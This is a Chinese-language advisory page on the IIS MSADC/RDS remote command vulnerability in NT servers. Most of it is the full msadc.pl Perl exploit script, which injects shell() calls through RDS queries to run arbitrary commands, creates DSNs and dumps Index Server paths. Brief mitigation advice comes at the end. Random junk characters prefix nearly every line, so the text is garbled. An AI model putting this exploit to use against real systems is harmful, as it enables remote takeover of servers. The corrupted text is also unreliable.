IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3J[P(G>Q u`("x5sa 涉及程序:
"+)ey>_ Microsoft NT server
DE. Pw+5<. bu$5gGWVf 描述:
%GHHnf%2Z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`T~M:\^D ^:DlrI$ 详细:
-
+>~ 如果你没有时间读详细内容的话,就删除:
T!/$@]%\7 c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZegsV| 有关的安全问题就没有了。
D6v0n6w 57HMWlg 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
*emUQ/uvf vK$T$SL 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
JBg",2w |C 关于利用ODBC远程漏洞的描述,请参看:
38 B\ \ Y$'fds4P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s+0$_&xR 6?hv,^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
r3iNfY b http://www.microsoft.com/security/bulletins/MS99-025faq.asp Fl|u0SY ?EYF61?
rw 这里不再论述。
B8;ZOLAU (M[Kh ^ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
(]iw#m{ ss-Be /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q[g%((DL 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Gq0~&6 nYE_WXY3V 8LiRZ" #将下面这段保存为txt文件,然后: "perl -x 文件名"
OBj.-jL snN1 #!perl
P;A"`Il #
~ae68&L6 # MSADC/RDS 'usage' (aka exploit) script
W'6*$Ron #
p6jR,m8S # by rain.forest.puppy
M/B_-8B_D #
D0-C:gz # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I5 [r-r # beta test and find errors!
hDz_BvE wd1*wt use Socket; use Getopt::Std;
fV;&Ag*ZiV getopts("e:vd:h:XR", \%args);
;2bG-v'4vO 'g ,Oi1|~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
44S<(Re (*hA0&n
if (!defined $args{h} && !defined $args{R}) {
C#vh2' print qq~
FUHa"$Bg Usage: msadc.pl -h <host> { -d <delay> -X -v }
E!ZDqq -h <host> = host you want to scan (ip or domain)
2{{M{#}S. -d <seconds> = delay between calls, default 1 second
C~6aX/: -X = dump Index Server path table, if available
f2yc]I<lr~ -v = verbose
_ sM$O> -e = external dictionary file for step 5
*A8CJ m;[z)-&" Or a -R will resume a command session
FJ#V"|} ~tz[=3!1H ~; exit;}
DhB:8/J 3>?ip; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
J7mT&U&Ru if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2t[inzn=E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
NO6. qWl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q9!5J2P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
I80.|KIv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|F6C&GNYT a@m>S$S if (!defined $args{R}){ $ret = &has_msadc;
/T_tI R> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N}s[0s uOZ+9x( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
lr^- . "cmd /c ";
+mAMCM2N $in=<STDIN>; chomp $in;
}g(aZ $command="cmd /c " . $in ;
?#]c{Tlpz YB)1dzU if (defined $args{R}) {&load; exit;}
%L~X\M:Qk n>! E ] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
S
_# UEf &try_btcustmr;
lt(,/ GK\'m@k print "\nStep 2: Trying to make our own DSN...";
|=GRPvvi &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pY-izML 'v\!}6 print "\nStep 3: Trying known DSNs...";
\Z57U NI &known_dsn;
UVU} ~r|.GY print "\nStep 4: Trying known .mdbs...";
!y*V;J &known_mdb;
.R:eN&Y8y l`,`N+FG if (defined $args{e}){
r+
vtKb print "\nStep 5: Trying dictionary of DSN names...";
ir/ 2/
E &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{feS-.Khv - FE) print "Sorry Charley...maybe next time?\n";
Gb~q:&IUr exit;
ztb2Ign< =Jem.Ph ##############################################################################
l<v/T G::6?+S sub sendraw { # ripped and modded from whisker
o@;w!' sleep($delay); # it's a DoS on the server! At least on mine...
R_Eu*Quj my ($pstr)=@_;
\
fwf\& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vy-{BH die("Socket problems\n");
a9D5qj if(connect(S,pack "SnA4x8",2,80,$target)){
?u8+F select(S); $|=1;
fpoH7Jd V print $pstr; my @in=<S>;
Kji}2j'a select(STDOUT); close(S);
zJ &qR return @in;
eIg2m <9u } else { die("Can't connect...\n"); }}
7N'F]x b6]M}ixK ##############################################################################
F3 wRHq 4e*0kItC sub make_header { # make the HTTP request
i*2z7M Y
my $msadc=<<EOT
f+/^1~^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-3KB:K< User-Agent: ACTIVEDATA
sW=@G'}3 Host: $ip
uomFE( Content-Length: $clen
'^P
Ud` Connection: Keep-Alive
s$Roe(J ;z%& 3u/ ADCClientVersion:01.06
!3T x\a`?/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%/UQ0d~b Y*"%;e$tg --!ADM!ROX!YOUR!WORLD!
Ke,-8e#Q Content-Type: application/x-varg
((X"D/F] Content-Length: $reqlen
# &M nP0}vX)< EOT
3V,X= ; $msadc=~s/\n/\r\n/g;
s
fti[ return $msadc;}
hefV0)4K 8vUP{f6 { ##############################################################################
UayRT#}] s]B^Sz= sub make_req { # make the RDS request
{5_*f)$[H my ($switch, $p1, $p2)=@_;
-j<UhW my $req=""; my $t1, $t2, $query, $dsn;
hO(HwG?8t d2(eX\56Z if ($switch==1){ # this is the btcustmr.mdb query
)bcMKZ $query="Select * from Customers where City=" . make_shell();
kXG+zsT $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^,`Lt * $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
AM Rj N; 8q0f#/`v elsif ($switch==2){ # this is general make table query
FtF!Dtv $query="create table AZZ (B int, C varchar(10))";
=z@'vu$Fh $dsn="$p1";}
^5GS!u" OTV)#,occ elsif ($switch==3){ # this is general exploit table query
:I&iDS>u1 $query="select * from AZZ where C=" . make_shell();
t+?\4+!< $dsn="$p1";}
G\P*zzSq SQt$-<>4\ elsif ($switch==4){ # attempt to hork file info from index server
{= z%('^ $query="select path from scope()";
c85B-/ $dsn="Provider=MSIDXS;";}
W]y$6P zV2c`he%z elsif ($switch==5){ # bad query
"4r5 n8 $query="select";
fSun{?{ $dsn="$p1";}
|-e=P9, WxXVL" $t1= make_unicode($query);
_Juhl^LM; $t2= make_unicode($dsn);
DO%YOv $req = "\x02\x00\x03\x00";
1,pg:=N9 $req.= "\x08\x00" . pack ("S1", length($t1));
V<d'psb6 $req.= "\x00\x00" . $t1 ;
}D=h"\_= $req.= "\x08\x00" . pack ("S1", length($t2));
tKJ)'v? $req.= "\x00\x00" . $t2 ;
N Z.aI{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-''vxt?7H& return $req;}
525xm"Bs fnXl60C% ##############################################################################
sH&8"5BT% B3yn:=80 sub make_shell { # this makes the shell() statement
>U) ,^H( return "'|shell(\"$command\")|'";}
j5ui o/&:w z ##############################################################################
r[\47cG 50'6l
X(v, sub make_unicode { # quick little function to convert to unicode
-R\}Q" my ($in)=@_; my $out;
?2G^6>O` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!$d:k|b return $out;}
0,/[r/=jT | _S9U| ##############################################################################
C8{CKrVE e`_3= kI sub rdo_success { # checks for RDO return success (this is kludge)
V];RQWs my (@in) = @_; my $base=content_start(@in);
.y'OoDe if($in[$base]=~/multipart\/mixed/){
;eA~z"g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
S)[2\Z{**T return 0;}
Xt~/8)& bqLv81 V ##############################################################################
_
!Ph1 g.9MPN sub make_dsn { # this makes a DSN for us
wTTQIo60 my @drives=("c","d","e","f");
vJcvyz#%1 print "\nMaking DSN: ";
:Mt/6} foreach $drive (@drives) {
1yE~#KpH print "$drive: ";
PH=wPft my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zd;xbH//)b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
w'qV~rN~tc . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RP(FV<ot $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
i>w>UA*t return 0 if $2 eq "404"; # not found/doesn't exist
+oiPj3 if($2 eq "200") {
v=W%|iZ foreach $line (@results) {
s ^}V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"<.b=mN- } return 0;}
@B[=`9KF[ uZ'5&k96T ##############################################################################
___+5r21\ XBeHyQp sub verify_exists {
"n05y} my ($page)=@_;
iu:e> r my @results=sendraw("GET $page HTTP/1.0\n\n");
}- +;{u return $results[0];}
8)H"w$jq T&0tW"r? ##############################################################################
nF//y} =RV$8.Xp sub try_btcustmr {
4
A my @drives=("c","d","e","f");
A&t}s
#3 my @dirs=("winnt","winnt35","winnt351","win","windows");
FEP\5d>
N.2rF foreach $dir (@dirs) {
)
.]Z}g& print "$dir -> "; # fun status so you can see progress
3+#bkG foreach $drive (@drives) {
m.4y=69 & print "$drive: "; # ditto
Q.8Jgel1 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v=L^jw $reqlenlen=length( "$reqlen" );
X'3F79` $clen= 206 + $reqlenlen + $reqlen;
6: M ;aFQP:l/ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Dbtw>:= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
QVFa<>8/md else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
JEAqSZak# Z2LG/R ##############################################################################
8.A ;
I< ).vdKNzw sub odbc_error {
D/giM#" my (@in)=@_; my $base;
'uPqe.#? my $base = content_start(@in);
b0&dpMgh: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?}Mv5SO $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f< '~K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oZzE.Q1T $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z#-&M J return $in[$base+4].$in[$base+5].$in[$base+6];}
8p!PR^OM@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:`uo]B" print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c[;I\g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
BE m%x0y _PRm4 : ##############################################################################
}ShZ4 xMz MW&;{m?2( sub verbose {
;PbyR}s my ($in)=@_;
1o$<pZZ return if !$verbose;
fNlUc print STDOUT "\n$in\n";}
I)sCWC:Mq~ )@sz\yI%U ##############################################################################
-MU^%t;- CE+\|5u
W sub save {
c8u&ev.U my ($p1, $p2, $p3, $p4)=@_;
jy1*E3vQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w)}[)}T! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7sFjO/a* close OUT;}
D)mqe-%1 '7xY,IY ##############################################################################
a1j6-p Jl4zj>8~ sub load {
pQqZ4L6v my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&KD
m5p open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_-h3>.;h9 @p=<IN>; close(IN);
Karyipn} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
.+8w\>w6g $target= inet_aton($ip) || die("inet_aton problems");
PmTA3aH print "Resuming to $ip ...";
:oZ30} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Lu<'A4Q1 if($p[1]==1) {
SIg=_oa $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#2`tsZ]=I $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&-&6ARb7o my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b _6j77 if (rdo_success(@results)){print "Success!\n";}
$A-b-`X else { print "failed\n"; verbose(odbc_error(@results));}}
mH8"k+k elsif ($p[1]==3){
a{{([uZ if(run_query("$p[3]")){
N2~Nc"L print "Success!\n";} else { print "failed\n"; }}
XCk \#(VSE elsif ($p[1]==4){
l~\'Z2op if(run_query($drvst . "$p[3]")){
rv\<Q-uQ8 print "Success!\n"; } else { print "failed\n"; }}
<vPIC G) exit;}
[g%oo3`A \75%[;. ##############################################################################
Q#vur o ~Ipl'cE sub create_table {
Nc]]e+N#V my ($in)=@_;
jF'S"_/? $reqlen=length( make_req(2,$in,"") ) - 28;
'|6j1i0x $reqlenlen=length( "$reqlen" );
J
\G8g,@ $clen= 206 + $reqlenlen + $reqlen;
UZXnABg,J my @results=sendraw(make_header() . make_req(2,$in,""));
T3Tk:r return 1 if rdo_success(@results);
0chBw~@*s my $temp= odbc_error(@results); verbose($temp);
d*!,McBn return 1 if $temp=~/Table 'AZZ' already exists/;
7?F0~[eGG return 0;}
W>h[aVTO 6r^(VT
##############################################################################
2avSsN{^ ;BpuNB sub known_dsn {
NBLOcRSh # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o^lKM?t my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
PInU-"gG "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
;Qw>&24h[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Wb^YqqE OI1&Z4Lx foreach $dSn (@dsns) {
t\'URpa+5% print ".";
?-Oy/Y K next if (!is_access("DSN=$dSn"));
2pZ|+!xc+ if(create_table("DSN=$dSn")){
6\(\ print "$dSn successful\n";
]"F0"UH, if(run_query("DSN=$dSn")){
( vgoG5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BE:GB?XBH print "Something's borked. Use verbose next time\n";}}} print "\n";}
$n>.;CV )5p0fw ##############################################################################
qy.Mi{=~: I>fEwMk~ sub is_access {
@m#7E4+ my ($in)=@_;
[NyR$yD{ $reqlen=length( make_req(5,$in,"") ) - 28;
^cX);koO $reqlenlen=length( "$reqlen" );
r"k\G\,% $clen= 206 + $reqlenlen + $reqlen;
v vOG]2z my @results=sendraw(make_header() . make_req(5,$in,""));
& [4Gv61 my $temp= odbc_error(@results);
_g
3hXsA verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@VVBl I return 0;}
~%>ke Q]66v$ ##############################################################################
3>c<E1 / bfLox sub run_query {
>^kRIoBkg my ($in)=@_;
IhY[c/|i $reqlen=length( make_req(3,$in,"") ) - 28;
LzP+l>m $reqlenlen=length( "$reqlen" );
CH!Lf,G $clen= 206 + $reqlenlen + $reqlen;
YY'46 my @results=sendraw(make_header() . make_req(3,$in,""));
qMKXS,s return 1 if rdo_success(@results);
= gOq
>` my $temp= odbc_error(@results); verbose($temp);
j<e`8ex? return 0;}
T =_Hd ':6`M ##############################################################################
<`n T+c jl%27Ld sub known_mdb {
wxN'Lv=R my @drives=("c","d","e","f","g");
t4~Bn<= my @dirs=("winnt","winnt35","winnt351","win","windows");
m.Yj{u8zX my $dir, $drive, $mdb;
|3QKxS0 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A^*0{F?,) o[&*vc) # this is sparse, because I don't know of many
4ZSc'9e9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
~~;J[Fp "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IP9mv`[ "\\system32\\certmdb.mdb",
hvwKhQ}wX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
(TgLCT[@T Hq ]f$Q6: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.\".}4qQ "\\cfusion\\cfapps\\forums\\forums_.mdb",
T}M!A| "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=0
mf "\\cfusion\\cfapps\\security\\realm_.mdb",
J7c(qGJI2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.T#h5[S2x "\\cfusion\\database\\cfexamples.mdb",
ko2 ?q "\\cfusion\\database\\cfsnippets.mdb",
:bNqK0[rS "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<y7nGXzLK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
V*Ta[)E "\\cfusion\\brighttiger\\database\\cleam.mdb",
U\s.fIr "\\cfusion\\database\\smpolicy.mdb",
F^fL "\\cfusion\\database\cypress.mdb",
6Q"fRXM "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>;:235'(M "\\website\\cgi-win\\dbsample.mdb",
_xjw: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~M _@_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a9}7K/Y=d ); #these are just
h/?$~OD foreach $drive (@drives) {
I($0&Y\De foreach $dir (@dirs){
0g o{gUI foreach $mdb (@sysmdbs) {
YHSdaocp print ".";
bbddbRj; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
$pr\"!|z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
leR-oeSO if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~
HN print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1wAD_PI|BH } else { print "Something's borked. Use verbose next time\n"; }}}}}
KxhMPvN' +-"uJIwMD foreach $drive (@drives) {
n
W:P"L foreach $mdb (@mdbs) {
/Ps/m! print ".";
8A'oK8Q if(create_table($drv . $drive . $dir . $mdb)){
@{n"/6t print "\n" . $drive . $dir . $mdb . " successful\n";
@komb IK if(run_query($drv . $drive . $dir . $mdb)){
RrA9@95+ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
O*jTrZ(k } else { print "Something's borked. Use verbose next time\n"; }}}}
(
y0 }
h9-^aB$8^ 5 6w6=Is ##############################################################################
/u?ZwoTzY v,,
.2UR4 sub hork_idx {
,6@s N'c print "\nAttempting to dump Index Server tables...\n";
%dn!$[D@ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
K@U[x,Sx $reqlen=length( make_req(4,"","") ) - 28;
\USl9*E $reqlenlen=length( "$reqlen" );
>oh7f| $clen= 206 + $reqlenlen + $reqlen;
f"9aL= 3 my @results=sendraw2(make_header() . make_req(4,"",""));
\Hb"bv if (rdo_success(@results)){
S*PcK> my $max=@results; my $c; my %d;
q#D-}R_RN for($c=19; $c<$max; $c++){
BRSIg] $results[$c]=~s/\x00//g;
inQ1$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%j $r" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]"q9 ~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Z #uxa $d{"$1$2"}="";}
~xPU#m< foreach $c (keys %d){ print "$c\n"; }
HV2 1=W } else {print "Index server doesn't seem to be installed.\n"; }}
KJ (|skO 8=TM _ ##############################################################################
7C / ^Gw KEPNe(H sub dsn_dict {
1egq:bh open(IN, "<$args{e}") || die("Can't open external dictionary\n");
(sDZ&R while(<IN>){
vd{ban9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'Hf+Y/` next if (!is_access("DSN=$dSn"));
<DR$WsDG if(create_table("DSN=$dSn")){
12]rfd print "$dSn successful\n";
]Xm+-{5?!R if(run_query("DSN=$dSn")){
ExKyjWAJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
u0;k_6N print "Something's borked. Use verbose next time\n";}}}
Nhf@Y}Cu print "\n"; close(IN);}
^ruz-N^Y! 2y`X) ##############################################################################
KwAc Ga}J pGRk sub sendraw2 { # ripped and modded from whisker
K&4FFZ sleep($delay); # it's a DoS on the server! At least on mine...
3kzO
VZ my ($pstr)=@_;
.RW&=1D6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z"%{SI^ die("Socket problems\n");
eL" +_lW if(connect(S,pack "SnA4x8",2,80,$target)){
@oKW$\ print "Connected. Getting data";
R,8 W7 3 open(OUT,">raw.out"); my @in;
TGDrTyI?y select(S); $|=1; print $pstr;
Yj"{aFK#u@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0?,<7}"<X close(OUT); select(STDOUT); close(S); return @in;
dD351!- } else { die("Can't connect...\n"); }}
P(xgIMc H EQ [K ##############################################################################
L/ g8@G
; zFi)R }Ot sub content_start { # this will take in the server headers
W\EvMV" my (@in)=@_; my $c;
l6T^e@* for ($c=1;$c<500;$c++) {
y0]"qB if($in[$c] =~/^\x0d\x0a/){
\ gO!6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O>y*u 8 else { return $c+1; }}}
Xk] uXx:TN return -1;} # it should never get here actually
!&adO,jN+= V7<w9MM ##############################################################################
fnJx$PD~ y$8S+N?> sub funky {
GLp~SeF# my (@in)=@_; my $error=odbc_error(@in);
w,*#z if($error=~/ADO could not find the specified provider/){
)vD: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
i~"lcgoO exit;}
vd9PB N if($error=~/A Handler is required/){
"M3S print "\nServer has custom handler filters (they most likely are patched)\n";
A'aY H`j exit;}
O03N$Jq
A if($error=~/specified Handler has denied Access/){
Nt,:`o | print "\nServer has custom handler filters (they most likely are patched)\n";
50e
vWD exit;}}
uCHM a! 3e Z, ##############################################################################
LGh# qTz5P sub has_msadc {
SFjR SMi my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
f"-3'kqo my $base=content_start(@results);
K BlJJH`z{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/$d#9Uv return 0;}
Y)68 )YVs=0j ########################
$sFqMy # AH gY. (c
S'Nm5 解决方案:
p`Ok(C_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
r ?<?0j 2、移除web 目录: /msadc